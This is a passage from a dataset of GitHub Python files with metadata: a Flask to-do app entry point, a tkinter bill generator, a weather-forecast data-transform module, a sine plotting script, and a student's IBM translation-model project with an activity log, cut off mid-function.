LoginManager\n\nfrom db_interact import db, User\nimport os\n\nfrom tasks.tasks import tasks_blueprint\nfrom auth.auth import auth_blueprint\n\n\napp = Flask(__name__)\ndb.init_app(app)\n\nlogin_manager = LoginManager()\nlogin_manager.login_view = 'auth.login'\nlogin_manager.init_app(app)\n\n\n@login_manager.user_loader\ndef load_user(user_id):\n return User.query.get(int(user_id))\n\n\napp.config['SECRET_KEY'] = 'secret'\napp.config['SQLALCHEMY_DATABASE_URI'] = os.environ.get(\"DATABASE_URL\", \"sqlite:///blog.db\")\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\nwith app.app_context():\n db.create_all()\n\n\napp.register_blueprint(auth_blueprint, url_prefix='/auth')\napp.register_blueprint(tasks_blueprint, url_prefix='/tasks')\n\n\n@app.route('/')\ndef home():\n return 'This is the starting page. Go to /tasks if you want to move to tasks section'\n\n\nif __name__ == \"__main__\":\n app.run(\n debug=True,\n host='127.0.0.15',\n port=5200\n )", "repo_name": "sbjice/industrial_todo_list", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 998, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "flask.Flask", "line_number": 11, "usage_type": "call"}, {"api_name": "db_interact.db.init_app", "line_number": 12, "usage_type": "call"}, {"api_name": "db_interact.db", "line_number": 12, "usage_type": "name"}, {"api_name": "flask_login.LoginManager", "line_number": 14, "usage_type": "call"}, {"api_name": "db_interact.User.query.get", "line_number": 21, "usage_type": "call"}, {"api_name": "db_interact.User.query", "line_number": 21, "usage_type": "attribute"}, {"api_name": "db_interact.User", "line_number": 21, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 25, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 25, "usage_type": "attribute"}, {"api_name": "db_interact.db.create_all", "line_number": 28, "usage_type": "call"}, {"api_name": "db_interact.db", "line_number": 28, "usage_type": "name"}, {"api_name": "auth.auth.auth_blueprint", "line_number": 31, "usage_type": "argument"}, {"api_name": "tasks.tasks.tasks_blueprint", "line_number": 32, "usage_type": "argument"}]} {"seq_id": "7188884346", "text": "from tkinter import *\r\nimport sqlite3\r\nimport tkinter.messagebox\r\nfrom reportlab.pdfgen import canvas\r\nwin=Tk()\r\nwin.title(\"Bill Generator\")\r\nwin.minsize(400,500)\r\nwin.maxsize(400,500)\r\nprice=[]\r\nitms=[]\r\nqn=[]\r\nclass dbase():\r\n\tdef price(self,itm):\r\n\t\tcon=sqlite3.connect('billgen.db')\r\n\t\tc=con.cursor()\r\n\t\tc.execute(\"SELECT price FROM bill WHERE item=?\",(itm,))\r\n\t\tp=int(c.fetchone()[0])\r\n\t\tprint(p)\r\n\t\treturn p;\r\nclass ui(dbase):\r\n\tdef __init__(self):\r\n\t\tlb1 = Label(text =\"Item\").place(x=10,y=10,width=100,height=25)\r\n\t\tlb2 = Label(text =\"Quantity\").place(x=150,y=10,width=50,height=25)\r\n\t\titems=['Pasta','Noodles','Fries','Fried Rice','Chicken Chili','Kefsa','Egg Roll','Manchurian','Chowmein','Manchow Soup'] \r\n\t\tself.item = StringVar()\r\n\t\tself.item.set(items[0])\r\n\t\tL_item=OptionMenu(win,self.item,*items).place(x=10,y=40,width=130,height=25)\r\n\t\tself.qt=Entry(bd=2)\r\n\t\tself.qt.place(x=150,y=40,width=40,height=25)\r\n\t\tlb3=Label(text =\"Product(s)\").place(x=60,y=80)\r\n\t\tlb4=Label(text =\"Quantity\").place(x=210,y=80)\r\n\t\tlb5=Label(text =\"Price\").place(x=295,y=80)\r\n\t\tself.scrollbar = Scrollbar(orient=VERTICAL,command=self.scr)\t\r\n\t\tself.l1=Listbox(win,yscrollcommand=self.scrollbar.set,bd=1,width=30,height=20)\r\n\t\tself.l2=Listbox(win,yscrollcommand=self.scrollbar.set,bd=1,width=20,height=20)\r\n\t\tself.l3=Listbox(win,yscrollcommand=self.scrollbar.set,bd=1,width=10,height=20)\r\n\t\tself.scrollbar.place(x=343,y=100,height=325)\r\n\t\tself.l1.place(x=10,y=100)\r\n\t\tself.l2.place(x=185,y=100)\r\n\t\tself.l3.place(x=280,y=100)\t\r\n\t\tB = Button(text =\"Add Item\", command = self.cmnd).place(x=220,y=40)\t\r\n\t\tprnt=Button(text=\"Print\",command=self.prn).place(x=282,y=445)\r\n\tdef cmnd(self):\r\n\t\ttry:\r\n\t\t\tif int(self.qt.get())>0:\r\n\t\t\t\tself.price=super().price(self.item.get())\r\n\t\t\t\tself.price=self.price*int(self.qt.get())\r\n\t\t\t\tprice.append(int(self.price))\r\n\t\t\t\titms.append(str(self.item.get()))\r\n\t\t\t\tqn.append(str(self.qt.get()))\r\n\t\t\t\tself.tot=sum(price)*1.15\r\n\t\t\t\tself.l1.insert(END,\"\\t\".expandtabs(15)+self.item.get())\r\n\t\t\t\tself.l2.insert(END,\"\\t\".expandtabs(12)+self.qt.get())\t\t\t\t\t\t\t\r\n\t\t\t\tself.l3.insert(END,\"\\t\".expandtabs(6)+str(self.price))\t\r\n\t\t\t\tself.lb6=Label(text=\"Total + 15% GST\").place(x=15,y=423)\r\n\t\t\t\tself.lb7=Label(text=int(self.tot)).place(x=288,y=423)\r\n\t\texcept ValueError: \r\n\t\t\ttkinter.messagebox.showerror(\"Bill Generator\", \"Invalid Entry!!!\")\r\n\tdef prn(self):\r\n\t\t\tprint(\"printing...\")\r\n\t\t\tc=canvas.Canvas(\"Bill.pdf\")\r\n\t\t\tx=40\r\n\t\t\ty=800\r\n\t\t\tx1=140\r\n\t\t\tx2=240\r\n\t\t\tz=20\r\n\t\t\tc.drawString(x,y,\"Item\")\r\n\t\t\tc.drawString(x1,y,\"Quantity\")\r\n\t\t\tc.drawString(x2,y,\"Price\")\r\n\t\t\tfor i,j,k in zip(price,itms,qn):\r\n\t\t\t\tc.drawString(x,y-z,str(j))\r\n\t\t\t\tc.drawString(x+5,y-z,\"\")\r\n\t\t\t\tc.drawString(x2,y-z,str(i))\r\n\t\t\t\tc.drawString(x2+5,y-z,\"\")\r\n\t\t\t\tc.drawString(x1,y-z,str(k))\r\n\t\t\t\tc.drawString(x1+5,y-z,\"\")\r\n\t\t\t\tprint(i,j,k,end=\"\\t\")\r\n\t\t\t\tz=z+20\r\n\t\t\tc.drawString(0,y-z+3,\"\")\r\n\t\t\tc.drawString(x,y-z,\"Total + 15% GST\")\r\n\t\t\tc.drawString(x2,y-z,str(int(self.tot)))\r\n\t\t\tc.save()\r\n\tdef scr(self,*args):\r\n\t\tself.l1.yview(*args)\r\n\t\tself.l2.yview(*args)\r\n\t\tself.l3.yview(*args)\r\nu=ui()\r\nwin.mainloop()\r\n", "repo_name": "Darshanp2/Bill-Generator-using-Python", "sub_path": "billgen.py", "file_name": "billgen.py", "file_ext": "py", "file_size_in_byte": 3074, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sqlite3.connect", "line_number": 14, "usage_type": "call"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 58, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 58, "usage_type": "attribute"}, {"api_name": "reportlab.pdfgen.canvas.Canvas", "line_number": 61, "usage_type": "call"}, {"api_name": "reportlab.pdfgen.canvas", "line_number": 61, "usage_type": "name"}]} {"seq_id": "33393443940", "text": "\"\"\"Various constants and distributions that decribe our dataset. Intended use\nis normalization of the fields before sending them to a neural net.\n\nSee notebook distributions-of-parameters.ipynb\"\"\"\n\nimport logging\nimport numpy as np\nimport torch\nimport random\nimport xarray as xr\n\nfrom .util import add_biweekly_dim, obs_to_biweekly, std_estimator, fix_s2s_dataset_dims\n\n_logger = logging.getLogger(__name__)\n\n\nFIELD_MEAN = {\n \"gh10\": 30583.0,\n \"gh100\": 16070.0,\n \"gh1000\": 76.19,\n \"gh200\": 11765.0,\n \"gh500\": 5524.374,\n \"gh850\": 1403.0,\n \"lsm\": 0.0,\n \"msl\": 100969.28,\n \"orog\": 387.1,\n \"siconc\": 0.17,\n \"sst\": 286.96,\n \"st100\": 268.75,\n \"st20\": 268.69,\n \"sm20\": 250.68,\n \"t2m\": 278.2237,\n \"tp\": 34.1,\n \"u1000\": -0.17,\n \"u850\": 1.26,\n \"u500\": 6.43,\n \"u200\": 14.43,\n \"u100\": 5.30,\n \"v1000\": 0.18,\n \"v850\": 0.11,\n \"v500\": -0.03,\n \"v200\": -0.01,\n \"v100\": 0.10,\n}\n\nFIELD_STD = {\n \"gh10\": 993.0,\n \"gh100\": 577.0,\n \"gh1000\": 110.14,\n \"gh200\": 605.0,\n \"gh500\": 341.80862,\n \"gh850\": 149.6,\n \"lsm\": 1.0,\n \"msl\": 1343.6,\n \"orog\": 856.0,\n \"siconc\": 0.35,\n \"sst\": 11.73,\n \"st100\": 26.74,\n \"st20\": 26.91,\n \"sm20\": 125.99,\n \"tp\": 43.7,\n \"t2m\": 21.2692,\n \"u1000\": 6.09,\n \"u850\": 8.07,\n \"u500\": 11.73,\n \"u200\": 17.76,\n \"u100\": 12.02,\n \"v1000\": 5.22,\n \"v850\": 6.144,\n \"v500\": 9.03,\n \"v200\": 12.18,\n \"v100\": 6.57,\n}\n\n\ndef normalize_dataset(dataset):\n for v in dataset.data_vars:\n dataset[v] = (dataset[v] - FIELD_MEAN[v]) / FIELD_STD[v]\n\n return dataset\n\n\ndef denormalize_dataset(dataset):\n for v in dataset.data_vars:\n dataset[v] = (dataset[v] * FIELD_STD[v]) + FIELD_MEAN[v]\n\n return dataset\n\n\ndef apply_to_all(transform, example):\n \"\"\"Utility function to apply a transform on all the kews of an example.\"\"\"\n new_example = {}\n for k in example:\n new_example[k] = transform(example[k])\n\n return new_example\n\n\nclass AddBiweeklyDimTransform:\n \"\"\"Transform that takes a training example and adds the biweekly dimension to it.\"\"\"\n\n def __init__(self, weeks_12=False, features=False):\n self.weeks_12 = weeks_12\n self.features = features\n\n def __call__(self, example):\n\n to_transform = [\"model\", \"obs\"]\n if self.features:\n to_transform.append(\"features\")\n\n new_example = {}\n for k in example:\n if k in to_transform:\n new_example[k] = add_biweekly_dim(example[k], weeks_12=self.weeks_12)\n else:\n new_example[k] = example[k]\n\n return new_example\n\n\nclass AddMetadata:\n \"\"\"Add various metadata to the example dict.\"\"\"\n\n def __call__(self, example):\n model = example[\"terciles\"]\n year = int(model.forecast_time.dt.year)\n month = int(model.forecast_time.dt.month)\n day = int(model.forecast_time.dt.day)\n example[\"monthday\"] = f\"{month:02}{day:02}\"\n example[\"month\"] = f\"{month:02}\"\n example[\"year\"] = f\"{year:04}\"\n\n example[\"latitude\"] = model.latitude\n example[\"longitude\"] = model.longitude\n\n return example\n\n\nclass AddDryMask:\n def __init__(self, threshold=0.01):\n self.threshold = threshold\n\n def __call__(self, example):\n edges = example[\"edges\"]\n wet_mask = (edges.isel(category_edge=0) > self.threshold).drop(\"t2m\")\n example[\"dry_mask\"] = ~wet_mask\n return example\n\n\nclass ExampleToPytorch:\n def __call__(self, example):\n pytorch_example = {}\n\n for dataset_name in [\n \"obs\",\n \"model\",\n \"features\",\n \"terciles\",\n \"edges\",\n \"model_parameters\",\n \"dry_mask\",\n \"eccc_parameters\",\n \"ncep_parameters\",\n ]:\n if dataset_name in example:\n dataset = example[dataset_name]\n for variable in dataset.data_vars:\n new_key = f\"{dataset_name}_{variable}\"\n pytorch_example[new_key] = torch.from_numpy(dataset[variable].data)\n\n for k in [\"year\", \"monthday\", \"month\", \"eccc_available\", \"ncep_available\"]:\n pytorch_example[k] = example[k]\n\n for k in [\"latitude\", \"longitude\"]:\n pytorch_example[k] = torch.from_numpy(example[k].data)\n\n return pytorch_example\n\n\nclass CompositeTransform:\n def __init__(self, transforms):\n self.transforms = transforms\n\n def __call__(self, example):\n transformed_example = example\n for t in self.transforms:\n transformed_example = t(transformed_example)\n\n return transformed_example\n\n def __repr__(self):\n inner_str = \", \".join([repr(t) for t in self.transforms])\n\n return f\"CompositeTransform([{inner_str}])\"\n\n\ndef t2m_to_normal(model):\n model_t2m_mean = model.t2m.mean(dim=[\"lead_time\", \"realization\"]).rename(\"t2m_mu\")\n model_t2m_std = std_estimator(model.t2m, dim=[\"lead_time\", \"realization\"]).rename(\n \"t2m_sigma\"\n )\n\n return xr.merge([model_t2m_mean, model_t2m_std]).rename(\n biweekly_forecast=\"lead_time\"\n )\n\n\ndef tp_to_normal(model):\n model_tp_mean = model.tp.isel(lead_time=-1).mean(dim=\"realization\").rename(\"tp_mu\")\n model_tp_std = std_estimator(model.tp.isel(lead_time=-1), dim=\"realization\").rename(\n \"tp_sigma\"\n )\n\n return (\n xr.merge([model_tp_mean, model_tp_std])\n .drop(\"lead_time\")\n .rename(biweekly_forecast=\"lead_time\")\n )\n\n\ndef model_to_distribution(model):\n model_t2m = t2m_to_normal(model)\n model_tp = tp_to_normal(model)\n\n return xr.merge([model_t2m, model_tp])\n\n\nclass LinearModelAdapter:\n def __init__(self, make_distributions=True):\n self.make_distributions = make_distributions\n\n def __call__(self, example):\n if self.make_distributions:\n example[\"model\"] = model_to_distribution(example[\"model\"])\n\n example[\"obs\"] = obs_to_biweekly(example[\"obs\"])\n\n return example\n\n\nclass CubeRootTP:\n \"\"\"Apply a cubic root on precipitation data.\"\"\"\n\n def __init__(self):\n pass\n\n def __call__(self, example):\n for k in [\"obs_tp\", \"edges_tp\"]:\n if k in example:\n example[k] = example[k] ** (1.0 / 3.0)\n\n return example\n\n\nclass AddLatLonFeature:\n def __init__(self):\n pass\n\n def __call__(self, example):\n obs = example[\"terciles\"]\n lat_array = obs[\"latitude\"].assign_coords(variable=\"lat\")\n lat_array = (lat_array / lat_array.max()).astype(\"float32\")\n\n lon_array = obs[\"longitude\"].assign_coords(variable=\"lon\")\n lon_array = np.sin(np.deg2rad(lon_array)).astype(\"float32\")\n\n features_array = example[\"features\"].features\n\n catted_features = xr.concat(\n [features_array, lat_array, lon_array], dim=\"variable\"\n )\n\n example[\"features\"] = catted_features.to_dataset()\n\n return example\n\n\nclass AddGeographyFeatures:\n def __init__(self, geography_file):\n geo_dataset = fix_s2s_dataset_dims(xr.open_dataset(geography_file))\n subset = geo_dataset[[\"orog\"]]\n geo = normalize_dataset(subset)\n self.geo_features = geo.to_array().to_dataset(name=\"features\")\n\n def __call__(self, batch):\n features = batch[\"features\"]\n\n geo_at_lead = self.geo_features.sel(lead_time=features.lead_time)\n new_features_dataset = xr.concat([features, geo_at_lead], dim=\"variable\")\n\n batch[\"features\"] = new_features_dataset\n\n return batch\n\n\nclass RandomNoise:\n def __init__(self, keys=[\"features_features\"], sigma=0.01):\n self.keys = keys\n self.sigma = sigma\n\n def __call__(self, example):\n for k in self.keys:\n x = example[k]\n example[k] += self.sigma * torch.randn_like(x)\n\n return example\n\n\nclass LongitudeRoll:\n def __init__(self):\n pass\n\n def __call__(self, example):\n obs = example[\"terciles\"]\n longitude_length = obs.sizes[\"longitude\"]\n\n roll = random.randint(0, longitude_length)\n\n rolled_example = example\n for k in example:\n if k not in [\"eccc_available\", \"ncep_available\"]:\n rolled_dataset = (\n example[k].roll(longitude=roll, roll_coords=True).drop(\"longitude\")\n )\n\n rolled_example[k] = rolled_dataset\n\n return rolled_example\n\n\nclass MembersSubsetTransform:\n def __init__(self, subset_size=1):\n self.subset_size = subset_size\n\n def __call__(self, example):\n features = example[\"features\"]\n\n n_members = features.sizes[\"realization\"]\n members = sorted(random.choices(range(n_members), k=self.subset_size))\n features = features.isel(realization=members)\n\n example[\"features\"] = features\n\n return example\n\n\nclass AddDateFeatureTransform:\n def __call__(self, example):\n features = example[\"features\"]\n date_features = np.sin(\n features.valid_time.assign_coords(variable=\"date\").dt.dayofyear / 366\n )\n new_features = xr.concat(\n [features.features, date_features], dim=\"variable\"\n ).astype(\"float32\")\n\n example[\"features\"] = new_features.to_dataset()\n\n return example\n\n\nclass VariableFilterTransform:\n def __init__(self, to_filter=None):\n self.to_filter = to_filter\n\n if to_filter is not None:\n _logger.info(\"Will filter vars: %s\", to_filter)\n\n def __call__(self, batch):\n if self.to_filter is not None:\n batch[\"features\"] = batch[\"features\"].sel(variable=self.to_filter)\n\n return batch\n\n\ndef full_transform(\n geography_file,\n weeks_12=False,\n make_distributions=False,\n random_noise_sigma=0.0,\n roll=False,\n n_members=1,\n filter_vars=None,\n biweekly_features=False,\n add_date=False,\n):\n xarray_transforms = [\n MembersSubsetTransform(n_members),\n AddLatLonFeature(),\n AddGeographyFeatures(geography_file),\n VariableFilterTransform(filter_vars),\n AddBiweeklyDimTransform(weeks_12, features=biweekly_features),\n ]\n\n if add_date:\n xarray_transforms.insert(2, AddDateFeatureTransform())\n\n if roll:\n xarray_transforms.append(LongitudeRoll())\n\n transforms = [\n *xarray_transforms,\n # LinearModelAdapter(make_distributions=make_distributions),\n AddMetadata(),\n ExampleToPytorch(),\n CubeRootTP(),\n RandomNoise(sigma=random_noise_sigma),\n ]\n return CompositeTransform(transforms)\n", "repo_name": "crim-ca/crims2s", "sub_path": "crims2s/transform.py", "file_name": "transform.py", "file_ext": "py", "file_size_in_byte": 10642, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 12, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 14, "usage_type": "call"}, {"api_name": "util.add_biweekly_dim", "line_number": 115, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 170, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 176, "usage_type": "call"}, {"api_name": "util.std_estimator", "line_number": 200, "usage_type": "call"}, {"api_name": "xarray.merge", "line_number": 204, "usage_type": "call"}, {"api_name": "util.std_estimator", "line_number": 211, "usage_type": "call"}, {"api_name": "xarray.merge", "line_number": 216, "usage_type": "call"}, {"api_name": "xarray.merge", "line_number": 226, "usage_type": "call"}, {"api_name": "util.obs_to_biweekly", "line_number": 237, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 266, "usage_type": "call"}, {"api_name": "numpy.deg2rad", "line_number": 266, "usage_type": "call"}, {"api_name": "xarray.concat", "line_number": 270, "usage_type": "call"}, {"api_name": "util.fix_s2s_dataset_dims", "line_number": 281, "usage_type": "call"}, {"api_name": "xarray.open_dataset", "line_number": 281, "usage_type": "call"}, {"api_name": "xarray.concat", "line_number": 290, "usage_type": "call"}, {"api_name": "torch.randn_like", "line_number": 305, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 318, "usage_type": "call"}, {"api_name": "random.choices", "line_number": 340, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 351, "usage_type": "call"}, {"api_name": "xarray.concat", "line_number": 354, "usage_type": "call"}]} {"seq_id": "29638618196", "text": "#! C:\\Users\\yeshw\\Desktop\\Umass\\Geology_497\\Lab3\n\"\"\"\nThis code computes the sin function, y = A*np.sin(2*np.pi*x/lambda),\ngiven an amplitude and a wavelength\n\nYesh 2/19/20\n\"\"\"\nimport numpy as np\nimport matplotlib.pylab as plt\n\nA = 2\npi = np.pi\ny = 4\nl = 24\nstart = 0\nend = 3*l\nnumberOfDataPoints = 50000\ni = (end- start)/numberOfDataPoints\nx = np.arange(0, (3*l), i)\ny = A*np.sin((2*pi*x)/l)\n\nplt.figure()\nplt.plot(x, y , lineWidth = 1.0, color=\"red\")\nplt.xlabel('Time (hours)')\nplt.ylabel('Temperature Change (C)')\nplt.xlim(0, 3*l)\nplt.ylim(-1.25*A, 1.25*A)\nplt.show()", "repo_name": "yeshwanth32/geology_data_analysis", "sub_path": "Lab3/plotTemp_yesh.py", "file_name": "plotTemp_yesh.py", "file_ext": "py", "file_size_in_byte": 569, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.pi", "line_number": 12, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pylab.figure", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pylab.plot", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pylab.xlabel", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pylab.ylabel", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pylab.xlim", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pylab.ylim", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pylab.show", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 28, "usage_type": "name"}]} {"seq_id": "11520263079", "text": "# Calvin Tanujaya Lim\n# 355141\n# Project 1\n\nfrom __future__ import division\nfrom nltk.corpus import comtrans\nfrom collections import defaultdict\nimport random\n\n'''\nActivity Log\n\n1st hour - 2nd hour\n\nFor the first couple of hours I spent my time reading the koehn book, starting\nat chapter 4.4, which is about the higher IBM Models. I read through till\nthe end of IBM Model 5 (chapter 4.4.5). However, I spent more time trying to\ngrasp the stuff from chapter 4.4.1 (IBM Model 2) and 4.4.2 (IBM Model 3),\nthinking to try and implement these models for the project.\n\nWhat I learned from reading the material is the difference between each\nof the IBM Models, and how it improved with each increment of the model.\n\nI also noted what the different steps within the IBM models meant. How\nIBM Model 2 has an extra alignment step to find the most probable positions\nfor each of the translated words. In IBM Model 3, it has 2 more steps compared\nto IBM Model 2, the NULL insertion step and the fertility step. NULL insertion\nis what it sounds like, to insert NULL tokens to account for words that has\nno correspondent in the input. The fertility step is to create more duplicates\nof a certain word, if that word usually translates to more than one word. The\namount of duplicates depend on how many words it usually translates into.\n\n3rd hour - 9th hour\n\nAfter reading the materials, I started to implement IBM Model 2. With the help\nof the pseudocode from the koehn book, implementing it in Python didn't took\nvery long, around 3 hours at most. Which includes fixing errors such as\nforgetting to import the required stuff (ie. defaultdict, division),\nnot initializing the variables properly, also deciding the data structures\nfor the variables in the algorithm.\n\nI decided to use a 4-dimension dictionary for the align data structure. Seeing\nas how the t(e|f) was a 2-d dictionary, I thought that making the align data\nstructure to be modelled similar to that is quite easy.\n\nWhat took more time was to actually understand what the\ncode does and why is it doing what it's doing. For example, I spent some time\nresearching on the internet as to why the value 'j' starts at 1 instead of 0,\nhowever I couldn't find any resources that relates as to why it was like that.\nThe value of 'j' is used as the word positions for the english text.\n\nRunning the code over the set of very very small sentences (ie. the set of\nsentences used to test for IBM Model 1 in worksheet 5), it just doesn't\nproduce an output that makes sense. It is because that the value 'j' starts\nat 1 that it skips the 1st english word in each of the sentence pair. As a\nresult this creates the wrong lexical translation probabilities, and in the\nend, the wrong alignment probabilities.\n\nUnderstanding the mathematical aspect of the model also helps alot in\nunderstanding the code. I had to learn what is 's-total' in the pseudocode,\nand what 'c' is. Although I'm still vague as to what they are, but what\ns-total doing is, for a certain english word, it is summing up the\nmultiplication of the translation probability of that word to a foreign word\nand the probability that it is aligned to that position. So it's like the total\nof all possible translation and alignment probability of that particular english\nword. This value is then used in calculating 'c', which is to divide the\n(translation prob * alignment prob) by s-total, which gives us the value\nof it's probability happening.\n\n10th hour - 12th hour\n\nI started trying to implement IBM Model 3. At first, I read the pseudocode\nand try to make a sense out of it. Tried to understand what's it's doing\nbut it was a little too complicated, so I had to sort of re-read the chapter\n4.4.2. There are plenty of new concepts starting in IBM Model 3. Such as\nNULL insertion, fertility, as well as sampling and hill climbing.\n\nLooking at the pseudocode, I decided to start implementing the smaller\nfunctions first. So I started at the function sample(e, f), then I got stuck\nat line 5 in the function pseudocode, which goes a(j') = argmaxj' t(ej'|fi')\nd(i'|j', length(e), length(f)). It took me quite a while understanding\nwhat that line was meant to do. I wondered where i' was declared and I had to\ndo some research regarding argmax. After spending sometime figuring out, I\nfinally understood that the line was to find i' which maximizes the probability\nof both the translation and distribution probability.\n\nSo then I started to code it in Python, without testing it yet.\n\nI still haven't finish the function sample(e,f) as it requires the other 2\nsmall functions hillclimb(a,j) and neighboring(a,j) to be implemented as well.\n\n13th hour - 17th hour\n\nBefore implementing hillclimb(a,j), I saw that it requires the neighboring\nfunction as well. So I read page 104 in Koehn book chapter 4, just to refresh\nmy memory what neighboring alignments meant. What it means when an alignment\ndiffer by a move or a swap.\n\nAnd again, I tried to understand what the code was doing. So the neighboring\nfunction returns N, which is the set of neighboring alignments given an\nalignment a. And if the probability of the neighboring alignment is higher\nthan the current alignment, then we set the new a as the a_neighbor. We\nhave to repeat this process until it doesn't changes the a anymore, which\nmeans that it has found the maximum alignment probability. Having understood\nwhat it was suppose to do, I tried implementing it.\n\nThere was a problem though with trying to implementing the probability(a)\nfunction. I didn't know how to go about it and in the Koehn book chapter 4,\npage 105, it said that the function follows straightforwardly from Equation 4.33\n. I had a look at the equation and it was really complicated. After spending\nquite a lot of time without making much progress, I decided to stop implementing\nIBM Model 3.\n\nI did have a look at the giza++ code and wasn't really much help. It could be\nbecause of the unfamiliarity with the language but I thought that the algorithm\nin the giza++ model doesn't look the same as the one in Koehn book. I don't\nthink the giza++ model used any sampling of the sentence pairs. The giza++\ncode also had more complicated probability calculations than I expected.\n\n18th hour - 22th hour\n\nAfter stopping IBM Model 3, I decided to do more extensive testing on my IBM\nModel 2, because I didn't really do much testing on it at the time I finished\nthe implementation.\n\nDoing testing, I think the starting 'j' value is really causing alot of problems\nfor me here. As mentioned before because the 'j' value starts at 1, it skips\nthe first english word, positioned 0 in the list, and does all the calculations.\n\nAfter more testing, it seems that adding the None token to the foreign sentence\nas well as extending the range of l_e to l_e+1 and when indexing the english\nword we need to make sure that it's indexing the right position. In this case\nthe position of the english words will be j-1 because of j starting at 1.\n\nI then did testing using sentences from nltk.corpus, the comtrans. I used only\na subset of the sentences, about 20-50, and then compare the alignments. At\nfirst I just did it manually by checking each alignment. But it gets really\ntedious for sentences that are really long.\n\nFrom testing, it also reveals that this implementation rely heavily on the\nlexical translation step. Without enough data to have a good t_ef table,\nthe alignment step will be absolutely useless. It will have all the wrong\nalignments or even having the same probability for all possible positions in\nthe sentence. So it is hard to achieve a high accuracy/precision. This is based\non testing my implementation using the comtrans sentences. The accuracy\nfor the final alignment tends to be pretty bad, but that is because I've\nonly used the first 30 sentences out of the comtrans. It may not be enough\nto create a concrete and good translation table. Some alignments are correct\nbut most of them aren't. I couldn't do alot sentences as it crashes most of the\ntime while processing.\n\nAlso, while testing, it has come to my attention that the value for\ni and j in the alignment table (a[i][j][l_e][l_f]) starts at 1 instead of\n0, just according to the example in the Koehn book page 98 chapter 4.\n\nI created a function test_IBMModel2() which tests my IBM model 2 implementation\nagainst the data from the corpus comtrans. I compared the alignment from using\nthe .precision function in the corpus and return the average precision. As\nexpected, I had a really low precision. As with my justification earlier about\nhaving little amount of sentences the precision goes down as well. With\ngreater amount, the precision gets better. About 0.10 avg precision using\njust 10 sentences, and about 0.32 when using 40 sentences.\n\n23th - 24th hour\nThe last couple of hours I was just documenting the code as well as reading\nthrough my activity log, making sure that everything has been covered.\n'''\n\nsent = [(['the','house'], ['das','haus']),\n (['the','book'], ['das','buch']),\n (['a', 'book'], ['ein', 'buch']),\n (['a', 'house'], ['ein', 'haus'])]\n\nsent1 = [(['the','house'], ['das','haus']),\n (['the','book'], ['das','buch']),\n (['a', 'book'], ['ein', 'buch'])]\n\nsent2 = [(['the','house'], [None,'das','haus']),\n (['the','book'], [None,'das','buch']),\n (['a', 'book'], [None,'ein', 'buch']),\n (['of','course'], [None, 'naturlich']),\n (['of', 'course', 'the', 'house', 'is', 'small'],\n [None,'naturlich', 'ist', 'das', 'haus', 'klein'])]\n\ndef ibm_model1(sentence_pairs, iterations):\n\n '''\n Testing ibm_model1 according to the example from the koehn book chapter 4\n figure 4.4\n\n >>> print \"%.4f\" % ibm_model1(sent1, 3)['the']['das']\n 0.7479\n\n >>> print \"%.4f\" % ibm_model1(sent1, 3)['book']['das']\n 0.1208\n\n >>> print \"%.4f\" % ibm_model1(sent1, 3)['house']['das']\n 0.1313\n\n >>> print \"%.4f\" % ibm_model1(sent1, 3)['the']['buch']\n 0.1208\n \n >>> print \"%.4f\" % ibm_model1(sent1, 3)['book']['buch']\n 0.7479\n \n >>> print \"%.4f\" % ibm_model1(sent1, 3)['a']['buch']\n 0.1313\n \n >>> print \"%.4f\" % ibm_model1(sent1, 3)['book']['ein']\n 0.3466\n \n >>> print \"%.4f\" % ibm_model1(sent1, 3)['a']['ein']\n 0.6534\n \n >>> print \"%.4f\" % ibm_model1(sent1, 3)['the']['haus']\n 0.3466\n\n >>> print \"%.4f\" % ibm_model1(sent1, 3)['house']['haus']\n 0.6534\n '''\n\n # Get all the words\n \n eng_words = []\n foreign_words = []\n\n for (eng, foreign) in sentence_pairs:\n for word in eng:\n if word not in eng_words:\n eng_words.append(word)\n\n for word in foreign:\n if word not in foreign_words:\n foreign_words.append(word)\n\n initial_probability = 1 / len(eng_words)\n\n table_ef = defaultdict(lambda: defaultdict(lambda: initial_probability))\n count_ef = defaultdict(lambda: defaultdict(float))\n total_f = defaultdict(float)\n s_total = defaultdict(float)\n\n iteration = 0\n while(iteration < iterations):\n\n #Initialize\n i = 0\n while (i < len(eng_words)):\n j = 0\n while (j < len(foreign_words)):\n count_ef[eng_words[i]][foreign_words[j]] = 0\n total_f[foreign_words[j]] = 0\n j+=1\n i+=1\n\n for (eng, foreign) in sentence_pairs:\n for word in eng:\n s_total[word] = 0\n for for_word in 